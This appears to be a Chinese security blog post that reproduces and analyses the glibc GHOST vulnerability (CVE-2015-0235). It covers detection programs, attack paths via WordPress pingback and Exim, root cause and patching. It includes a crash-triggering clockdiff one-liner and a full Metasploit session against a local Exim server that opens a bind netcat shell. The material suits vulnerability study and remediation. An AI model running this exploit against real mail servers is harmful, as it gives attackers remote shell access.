CVE-2015-0235复现分析

CVE-2015-0235

前言

  • 2015年1月28日互联网上爆出Linux glibc幽灵漏洞(glibc gethostbyname buffer overflow,http://seclists.org/oss-sec/2015/q1/274),也有人将其称之为“20150127GHOST gethostbyname() heap overflow in glibc”,在CVE上的漏洞编号是CVE-2015-0235。

  • 该漏洞的产生是 Qualys 公司在进行内部代码审核时,发现了一个在 GNU C 库(glibc)中存在的 __nss_hostname_digits_dots 函数导致的缓冲区溢出漏洞。这个 bug 可以通过 gethostbyname *()函数来触发,本地和远程均可行。该漏洞(幽灵漏洞)造成了远程代码执行,攻击者可以利用此漏洞远程获取系统进程当前的权限。幽灵漏洞是 Linux glibc 库上出现的一个严重的安全问题,他可以让攻击者在不了解系统的任何情况下远程获取操作系统的控制权限。

  • 漏洞所属类型:溢出

  • 经测试以下版本均存在漏洞:

    RHEL (Red Hat Enterprise Linux) version 5.x, 6.x, 7.x

    CentOS Linux 5.x, 6.x , 7.x

    Ubuntu Linux version 10.04, 12.04 LTS

    Debian Linux version 7.x

    Linux Mint version 13.0

    Fedora Linux version 19 y anteriores

    SUSE Linux Enterprise 11 y anteriores

    Arch Linux glibc version <= 2.18-1

背景知识

Glibc

  • 简介
    • glibc是GNU发布的libc库,即c运行库。glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。

    • 由于 glibc 囊括了几乎所有的 UNIX 通行的标准,可以想见其内容包罗万象。而就像其他的 UNIX 系统一样,其内含的档案群分散于系统的树状目录结构中,像一个支架一般撑起整个操作系统。glibc是一种按照LGPL许可协议发布的,自由的,公开源代码的,方便从网络下载的C的编译程序。GNU C运行期库,是一种C函数库,是程序运行时使用到的一些API集合,它们一般是已预先编译好,以二进制代码形式存在Linux类系统中,GNU C运行期库通常作为GNU C编译程序的一个部分发布。glibc最初是自由软件基金会(FSF)为其GNU操作系统所写,但当前最主要的应用是配合Linux内核,成为GNU/Linux操作系统一个重要的组成部分。

  • 主要功能
    • string(字符串处理)、signal(信号处理)、dlfcn(管理共享库的动态加载)、direct(文件目录操作)、elf(共享库的动态加载器,即interpreter)、iconv(不同字符集的编码转换)、inet(socket接口的实现)、intl(国际化(也即gettext的实现)、io、linuxthreads、locale(本地化)、login(虚拟终端设备的管理(及系统的安全访问)、malloc(动态内存的分配与管理)、nis、stdlib(其它基本功能)

GHOST

  • ‎GHOST漏洞可以通过glibc库中的所有gethostbyname*()函数在本地和远程触发,glibc库是Linux操作系统的核心部分。‎

  • ‎受此影响的 GNU C 库的第一个易受攻击的版本是 glibc-2.2,发布于 2000 年 11 月 10 日。该错误已于 2013 年 5 月 21 日修复(在 glibc-2.17 和 glibc-2.18 发布之间)。不幸的是,它没有被识别为安全威胁,因此,大多数稳定和长期支持的发行版都被暴露了,包括Debian 7(wheezy),Red Hat Enterprise Linux 6和7,CentOS 6和7以及Ubuntu 12.04。‎

  • ‎Qualys 与 Linux 发行版供应商密切合作,并于 2015 年 1 月 27 日发布了一篇‎‎咨询‎‎和‎‎博客文章‎‎,并结合当天提供的主要发行版的补丁。Qualys 一直持有此模块,以便 IT 团队有时间应用所有必要的补丁。‎

漏洞历程

  • 漏洞从2000年发布glibc-2.2版本中就存在,到2013年5月份21日得到了修补(在2.17至2.18之间发行的版本),但是由于开发者并未将其定义为安全漏洞,导致系统中自带的稳定发行版本并未得到及时的升级。但由于当时并没有被认定为安全威胁,包括Debian 7、Red Hat Enterprise Linux 6 & 7、 CentOS 5&6& 7和Ubuntu 12.04在内的多数知名Linux版本在长达一年半的时间都没有修补幽灵漏洞。
  • glibc 2.18之前版本中,__nss_hostname_digits_dots()函数存在堆缓冲区溢出漏洞,gethostbyname()及gethostbyname2() glibc函数调用时会用到该函数。如果远程攻击者可以调用这些函数中的任意一个,即可利用此漏洞以当前用户权限执行任意代码。
  • 代码审计公司 Qualys 的研究人员在 glibc库中的 __nss_hostname_digits_dots() 函数中发现了一个缓冲区溢出的漏洞,这个 bug 可以经过 gethostbyname() 函数被本地或者远程的触发。应用程序主要使用gethostbyname() 函数发起 DNS 请求,这个函数会将主机名称转换为ip地址。可以允许攻击者远程获取操作系统的最高控制权限。

环境清单

  • 发行版名称: CentOS release 6.5 (Final)
  • 内核版本: Linux localhost.localdomain 2.6.32-431.el6.x86_64
  • glibc版本: (GNU libc) 2.12
  • 镜像下载地址:CentOS-6.5-x86_64-bin-DVD1.iso
  • 虚拟机软件:VMware Workstation 16 Pro 16.1.1 build-17801498

漏洞复现

环境参数

  • 测试环境:
    • CentOS release 6.5 (Final)
    • (GNU libc) 2.12
    • exim 4.80
    • Linux kali 5.9.0-kali2-amd64

POC

方法一:

通过如下命令来查看系统上的glibc版本:

[xx@localhost 桌面]$ ldd --version
ldd (GNU libc) 2.12

Qualys公司提供如下的测试程序来检查系统是否存在漏洞:Ghost.c程序

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
 
#define CANARY "in_the_coal_mine"
 
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
 
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
 
  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
 
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
 
if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
    puts("not vulnerable");
exit(EXIT_SUCCESS);
}
  puts("should not happen");
exit(EXIT_FAILURE);
}

安装gcc,从CentOS_6.5_Final/Packages中依次安装

rpm -ivh mpfr-2.4.1-6.el6.x86_64.rpm
rpm -ivh cpp-4.4.7-4.el6.x86_64.rpm
rpm -ivh ppl-0.10.2-11.el6.x86_64.rpm
rpm -ivh cloog-ppl-0.15.7-1.2.el6.x86_64.rpm
rpm -ivh gcc-4.4.7-4.el6.x86_64.rpm

将上述程序保存为ghost.c并执行下列命令:

gcc ghost.c -o ghost_C
./ghost_C

如果运行后显示

Vulnerable (表示存在漏洞)
Not vulnerable (表示不存在漏洞)

测试系统效果如图

1

方法二(RedHat 官方检测方法):

ghost_check.sh 源码如下

#!/bin/bash
vercomp () {
if [[ $1 == $2 ]]
then
return 0
fi
local IFS=.
local i ver1=($1) ver2=($2)
    # fill empty fields in ver1 with zeros
    for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))
do
ver1[i]=0
done
    for ((i=0; i<${#ver1[@]}; i++))
do
if [[ -z ${ver2[i]} ]]
then
            # fill empty fields in ver2 with zeros
ver2[i]=0
fi
        if ((10#${ver1[i]} > 10#${ver2[i]}))
then
return 1
fi
        if ((10#${ver1[i]} < 10#${ver2[i]}))
then
return 2
fi
done
return 0
}
 
glibc_vulnerable_version=2.17
glibc_vulnerable_revision=54
glibc_vulnerable_version2=2.5
glibc_vulnerable_revision2=122
glibc_vulnerable_version3=2.12
glibc_vulnerable_revision3=148
echo "Vulnerable glibc version <=" $glibc_vulnerable_version"-"$glibc_vulnerable_revision
echo "Vulnerable glibc version <=" $glibc_vulnerable_version2"-"$glibc_vulnerable_revision2
echo "Vulnerable glibc version <=" $glibc_vulnerable_version3"-1."$glibc_vulnerable_revision3
 
glibc_version=$(rpm -q glibc | awk -F"[-.]" '{print $2"."$3}' | sort -u)
if [[ $glibc_version == $glibc_vulnerable_version3 ]]
then
glibc_revision=$(rpm -q glibc | awk -F"[-.]" '{print $5}' | sort -u)
else
glibc_revision=$(rpm -q glibc | awk -F"[-.]" '{print $4}' | sort -u)
fi
echo "Detected glibc version" $glibc_version" revision "$glibc_revision
 
vulnerable_text=$"This system is vulnerable to CVE-2015-0235. <https://access.redhat.com/security/cve/CVE-2015-0235>
Update the glibc and ncsd packages on your system using the packages released with the following:
yum install glibc"
 
if [[ $glibc_version == $glibc_vulnerable_version ]]
then
vercomp $glibc_vulnerable_revision $glibc_revision
elif [[ $glibc_version == $glibc_vulnerable_version2 ]]
then
vercomp $glibc_vulnerable_revision2 $glibc_revision
elif [[ $glibc_version == $glibc_vulnerable_version3 ]]
then
vercomp $glibc_vulnerable_revision3 $glibc_revision
else
vercomp $glibc_vulnerable_version $glibc_version
fi
 
case $? in
    0) echo "$vulnerable_text";;
    1) echo "$vulnerable_text";;
    2) echo "Not Vulnerable.";;
esac

测试系统效果如图
2
方法三:

/usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`

测试效果如图

3

‎漏洞利用演示‎

  • ‎该模块使Metasploit能够获得针对Esim邮件服务器的shell访问,即远程执行代码。如果此模块的“检查”或“利用”方法确定远程系统容易受到攻击,则该远程系统也是可利用的。‎

  • ‎如所附漏洞利用文件中的说明中所述,尝试远程执行代码的 Exim 邮件服务器和客户端必须满足以下要求才能使此漏洞利用发挥作用:‎

服务器端要求‎(Exim)
  • ‎远程系统必须使用易受攻击的 GNU C 库版本:‎

    第一个可利用的版本是glibc-2.6,最后一个可利用的版本‎‎是glibc-2.17;旧版本也可能被利用,但这个模块‎‎取决于较新版本的fd_nextsize(malloc_chunk‎‎结构)远程获取 Exim smtp_cmd_buffer的地址‎‎堆。‎

  • 远程系统必须运行 Exim 邮件服务器:

    第一个可利用的‎‎版本是exim-4.77;旧版本也可能被利用,但这‎‎模块依赖于较新版本的 16-KB smtp_cmd_buffer可靠地‎‎按照 GHOST 通报中所述设置堆。‎

  • ‎必须将远程 Exim 邮件服务器配置为执行额外的安全性‎‎检查其 SMTP 客户端:

    helo_try_verify_hosts或‎‎必须启用helo_verify_hosts选项;“验证 = helo”ACL 可能‎也是可利用的,但不可预测的,因此不受‎‎此模块。‎

‎客户端要求‎(Metasploit)
  • 此模块的“漏洞利用”方法需要SENDER_HOST_ADDRESS‎‎选项设置为 SMTP 客户端 (Metasploit) 的 IPv4 地址,如下所示‎‎由SMTP服务器(Exim)看到;此外,此 IPv4 地址必须‎‎具有彼此匹配的正向和反向 DNS 条目‎‎(正向确认反向 DNS)。‎

  • 远程 Exim 服务器可能被利用,即使 Metasploit‎‎客户端没有 FCrDNS,但此模块依赖于 Exim sender_host_name‎‎变量设置,以便可靠地控制遥控器的状态‎‎堆。‎

EXP攻击

利用场景

WordPress的xmlrpc远程调用pingback
Wordpress 3.5以上默认开启xmlrpc功能,客户端无需认证即可通过该功能调用pingback_ping函数,这个函数实现了wordpress得Pingback功能。首先看Wordpress 4.1.1的源码,下面是pingback_ping的源码,其中的wp_safe_remote_get是发送http请求的函数,解析根据url获取IP地址也是这个函数内完成的:

public function pingback_ping($args) {
    ... ...
    $pagelinkedfrom = $args[0];
    $pagelinkedto   = $args[1];
    ... ...
    // Let us check the remote site
    $http_api_args = array(
        'timeout' => 10,
        'redirection' => 0,
        'limit_response_size' => 153600, // 150 KB
        'user-agent' => "$user_agent; verifying pingback from $remote_ip",
        'headers' => array(
            'X-Pingback-Forwarded-For' => $remote_ip,
        ),
    );
    $request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
    $linea = wp_remote_retrieve_body( $request );
    ... ...
}

wp_safe_remote_get函数代码,其调用的_wp_http_get_object函数获取WP_Http类的一个对象,随后调用其get函数:

function wp_safe_remote_get( $url, $args = array() ) {
    $args['reject_unsafe_urls'] = true;
    $http = _wp_http_get_object();
    return $http->get( $url, $args );
}

WP_Http的get函数代码如下,这个函数会调用同一个类中的request函数:

public function get($url, $args = array()) {
        $defaults = array('method' => 'GET');
        $r = wp_parse_args( $args, $defaults );
        return $this->request($url, $r);
    }

WP_Http->request部分代码如下,调用wp_http_validate_url函数对传入的url进行验证:

public function request( $url, $args = array() ) {
    ... ...
    if ( function_exists( 'wp_kses_bad_protocol' ) ) {
        if ( $r['reject_unsafe_urls'] )
            $url = wp_http_validate_url( $url );
        $url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
    }
    ... ...
}

wp_http_validate_url代码如下,在去掉首尾的“.”之后进行匹配,如果是url遵循标准的IPv4的IP地址,则直接获取IP,否则调用PHP的gethostbyname函数以获取IP地址:

function wp_http_validate_url( $url ) {
    ... ...
    $parsed_url = @parse_url( $url );
    ... ...
    if ( ! $same_host ) {
        $host = trim( $parsed_url['host'], '.' );
        if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
            $ip = $host;
        } else {
            $ip = gethostbyname( $host );
            if ( $ip === $host ) // Error condition for gethostbyname()
                $ip = false;
        }
        ... ...
    }
    ... ...

接下去就进入PHP的源码了,其中gethostbyname函数代码如下,调用了php_gethostbyname函数:

PHP_FUNCTION(gethostbyname)
{
    char *hostname;
    int hostname_len;
    char *addr;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &hostname, &hostname_len) == FAILURE) {
    return;
}

addr = php_gethostbyname(hostname);

RETVAL_STRING(addr, 0);

}

php_gethostbyname代码如下,可以看到这里直接调用了glibc中的gethostbyname函数,后续的执行便会造成缓冲区溢出:

static char *php_gethostbyname(char *name)
{
    struct hostent *hp;
    struct in_addr in;

hp = gethostbyname(name);

if (!hp || !*(hp->h_addr_list)) {
    return estrdup(name);
}

memcpy(&in.s_addr, *(hp->h_addr_list), sizeof(in.s_addr));

return estrdup(inet_ntoa(in));
}

Metasploit的auxiliary/scanner/http/wordpress_ghost_scanner模块可以攻击有类似问题的wordpress网站(前提是开启xmlrpc功能,3.5版本以上默认开启),发送的数据包如下,可以看到在http包的数据部分,写明了调用pingback.ping函数,且两个参数均为超长的满足条件的url,达到远程崩溃的目的,如果精心构造可以达到远程执行任意代码的目的:

4

远程攻击成功:

5

Exim邮件服务器

在Exim邮件服务器中也会调用gethostbyname函数来解析SMTP客户端发来的数据包,main函数中调用smtp_setup_msg函数用来处理接收到的数据包以及组装服务器要响应的数据包。部分代码如下:

int
smtp_setup_msg(void)
{
... ...
while (done <= 0)
  {
  ... ...
    switch(smtp_read_command(TRUE))
    {
    case HELO_CMD:
    HAD(SCH_HELO);
    hello = US"HELO";
    esmtp = FALSE;
    goto HELO_EHLO;

case EHLO_CMD:
HAD(SCH_EHLO);
hello = US"EHLO";
esmtp = TRUE;

HELO_EHLO:      /* Common code for HELO and EHLO */
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;

if (!check_helo(smtp_cmd_data))
{
    ... ...
    break;
}
helo_verified = helo_verify_failed = FALSE;
if (helo_required || helo_verify)
  {
  BOOL tempfail = !smtp_verify_helo();
  if (!helo_verified)
    {
    if (helo_required)
      {
      ... ...
      }
    HDEBUG(D_all) debug_printf("%s verification failed but host is in "
      "helo_try_verify_hosts\n", hello);
    }
  }
  ... ...
}

首先读取数据包中针对SMTP的命令。当命令为’HELO’或’EHLO’时便会执行到处理helo命令的部分。因为SMTP的helo数据包后跟着的必须是IP地址,因此调用check_helo对这部分进行验证,主要是对IPv4和IPv6的进行分别验证,IP地址可以是[IPv4:地址]、[IPv6:地址]、[IP地址]、正常的IP地址格式。经过验证之后会调用smtp_verify_helo函数,这个函数对IP地址的有效性进行验证,但Exim的配置文件必须打开helo_verify_hosts或helo_try_verify_hosts开关,smtp_verify_helo函数部分代码如下:

BOOL
smtp_verify_helo(void)
{
    ... ...
    if (!helo_verified)
    {
    int rc;
    host_item h;
    h.name = sender_helo_name;
    h.address = NULL;
    h.mx = MX_NONE;
    h.next = NULL;
    HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
      sender_helo_name);
    rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
    ... ...
    }
    ... ...
}

这里会调用host_find_byname函数来获得helo后的IP地址,

int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
  uschar **fully_qualified_name, BOOL local_host_check)
{
    ... ...
    for (i = 1; i <= times;
     #if HAVE_IPV6
       af = AF_INET,     /* If 2 passes, IPv4 on the second */
     #endif
     i++)
    {
    ... ...
    #if HAVE_IPV6
     if (running_in_test_harness)
       hostdata = host_fake_gethostbyname(host->name, af, &error_num);
     else
       {
       #if HAVE_GETIPNODEBYNAME
       hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
       #else
       hostdata = gethostbyname2(CS host->name, af);
       error_num = h_errno;
       #endif
       }

 #else    /* not HAVE_IPV6 */
 if (running_in_test_harness)
   hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
 else
   {
   hostdata = gethostbyname(CS host->name);
   error_num = h_errno;
   }
 #endif   /* HAVE_IPV6 */
 ... ...
}
... ...
}

可以看到这里调用了gethostbyname2和gethostbyname针对IPv6和IPv4地址进行处理,传入超长数据便会触发漏洞。telnet客户端连接之后如下所示,最后一个错误是本次触发的,前几个错误是之前测试的时候触发的:

6

本地系统测试

对于 Exim 的攻击(Exploit Download) 已经集成到了 Metasploit 框架中,打开exim,在kali中使用metasploit进行攻击。

msf > search exim

Matching Modules
================

   Name                                          Disclosure Date  Rank       Description
   ----                                          ---------------  ----       -----------
   exploit/linux/smtp/exim4_dovecot_exec         2013-05-03       excellent  Exim and Dovecot Insecure Configuration Command Injection
   exploit/linux/smtp/exim_gethostbyname_bof     2015-01-27       great      Exim GHOST (glibc gethostbyname) Buffer Overflow
   exploit/unix/local/exim_perl_startup          2016-03-10       excellent  Exim "perl_startup" Privilege Escalation
   exploit/unix/smtp/exim4_string_format         2010-12-07       excellent  Exim4 string_format Function Heap Buffer Overflow
   exploit/unix/webapp/wp_phpmailer_host_header  2017-05-03       average    WordPress PHPMailer Host Header Command Injection


msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options

Module options (exploit/linux/smtp/exim_gethostbyname_bof):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOST                127.0.0.1        yes       The target address
   RPORT                25               yes       The target port (TCP)
   SENDER_HOST_ADDRESS  127.0.0.1        yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)


Payload options (cmd/unix/bind_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit

[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2023-06-30 17:29:07 +0800

whoami
xx
id
uid=500(xx) gid=500(xx) groups=500(xx)

漏洞分析

漏洞原因

glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险。

通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出。经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出, 漏洞产生时至多sizeof(char* )个字节可被覆盖(因为char*指针的大小,即32位系统上为4个字节,64位系统为8个字节)。

细节分析

1.先静态分析glibc源码中的__nss_hostname_digits_dots函数流程,如图1所示。

7

代码大致流程就是在__nss_hostname_digits_dots中,计算了size_needed,当size_needed > buff_size时,会调用realloc重新申请size_needed的空间。

8

图2代码流程在计算size_need时,少加了一个sizeof(*h_alias_ptr),少算了4个字节,所以当name全为数字或者.号时,会将name拷贝到buff的hostname,造成一个指针大小字节的堆溢出。所以要触发成功需要满足的条件为,size_need足够大,让其调用realloc重新分配。name全为数字或者.号。

在函数的第21行计算需要的内存总量size_needed,包括了host_addr指针,h_addr_ptrs指针,name的长度还有一个’\0’的长度。24-46行是判断计算出来的长度是否符合传入的缓冲区的大小。48行将缓冲区置0,随后计算host_addr 、h_addr_ptrs、h_alias_ptr和hostname的起始地址,可以看到这里计算的存在于缓冲区中的长度比size_needed多了一个h_alias_ptr的指针长度,也就是32位系统多4字节,64位系统多8字节的长度。下图比较直观的给出了溢出的原因就是没有考虑h_alias_ptr指针的长度。

9

2.选择一个受漏洞影响的程序clockdiff来调试分析,在IDA中对__nss_hostname_digits_dots下好断点,如图3所示:

10

F9运行,第一次断下无用不是处理我们自己输入的参数,直接跳过。第二次断下,发现gethostbyname的参数为我们输入的参数。Gethostbyname中调用__nss_hostname_digits_dots,其中缓冲区的大小默认为0x400。在调用realloc处下断点,此时buffer_size= 0x41B,刚好是输入参数的长度,因为size_need大于buffer_size所以须要重新分配空间。

11

通过上面的判断与计算空间大小后执行到stcpy处(溢出点),通过前面空间的计算,加上字符串结尾的空字节,刚好溢出了一个指针字节。

如要要使程序的流程执行到68行的strcpy函数,name就必须要满足以下几个条件:

  1. name的第一个字符必须是数字
  2. name的最后一个字符不能是‘.’
  3. name的所有字符只能是数字或‘.’
  4. 如果是IPv4地址必须通过__inet_aton函数的验证,如果是IPv6则需通过inet_pton,但是IPv6地址包含‘:’,所有这里排除,因此格式必须为下面几种之一:“a.b.c.d”,“a.b.c”,“a.b”,“a”,且a,b,c,d均不能超过无符号整形的最大值也就是0xFFFFFFFF
  5. name的长度至少长于1024(1KB)

漏洞修复

只需在计算size_needed的时候加上h_alias_ptr指针的长度就可以了,修复代码如下:

size_needed = (sizeof (*host_addr)
             + sizeof (*h_addr_ptrs)
             + sizeof (*h_alias_ptr) + strlen (name) + 1);

在线修复方案

CentOS, Red Hat, Fedora 等系列衍生版本(RHN 建议):

yum update glibc

Debian, Ubuntu 等系列衍生版本:

apt-get clean && apt-get update && apt-get upgrade

离线修复方案

  • Centos6.5 离线补丁

先检查本地 glibc 包安装了哪些相关包

rpm -qa|grep glibc

12

然后,到阿里源下载对应版本

cd /usr/local/src 
cat > update.txt << EOF 
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/glibc-2.12-1.149.el6_6.5.i686.rpm 
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/glibc-2.12-1.149.el6_6.5.x86_64.rpm 
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/glibc-common-2.12-1.149.el6_6.5.x86_64.rpm 
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/glibc-devel-2.12-1.149.el6_6.5.x86_64.rpm   
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/glibc-headers-2.12-1.149.el6_6.5.x86_64.rpm 
EOF

进行后台断点下载补丁包

wget -b -i update.txt -c

使用 yum 本地安装

yum localinstall glibc-*

或是 rpm 安装

rpm -ivUh glibc-*
  • Red Had 系列衍生版本

    使用方法:参考上文Centos6.5 离线补丁的修补方法。

总结

GHOST漏洞是2015年1月27号公布的Liux底层漏洞,国际编号CVE-2015-0235,存在于GNU C库(glibc)中。

幽灵漏洞是 Linux glibc 库上出现的一个严重的安全问题,他可以让攻击者在不了解系统的任何情况下远程获取操作系统的控制权限。

发生的原因是函数 __nss_hostname_digits_dots() 存在缓冲区溢出,可以通过 gethostbyname*() 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。

参考链接

Linuxglibc幽灵漏洞测试与修复方法

CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞

GHOST Remote Code Execution Exploit

Glibc ghost(CVE-2015-0235)漏洞简要分析及检测

基于Metasploit利用GHOST漏洞最终版

漏洞细节

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值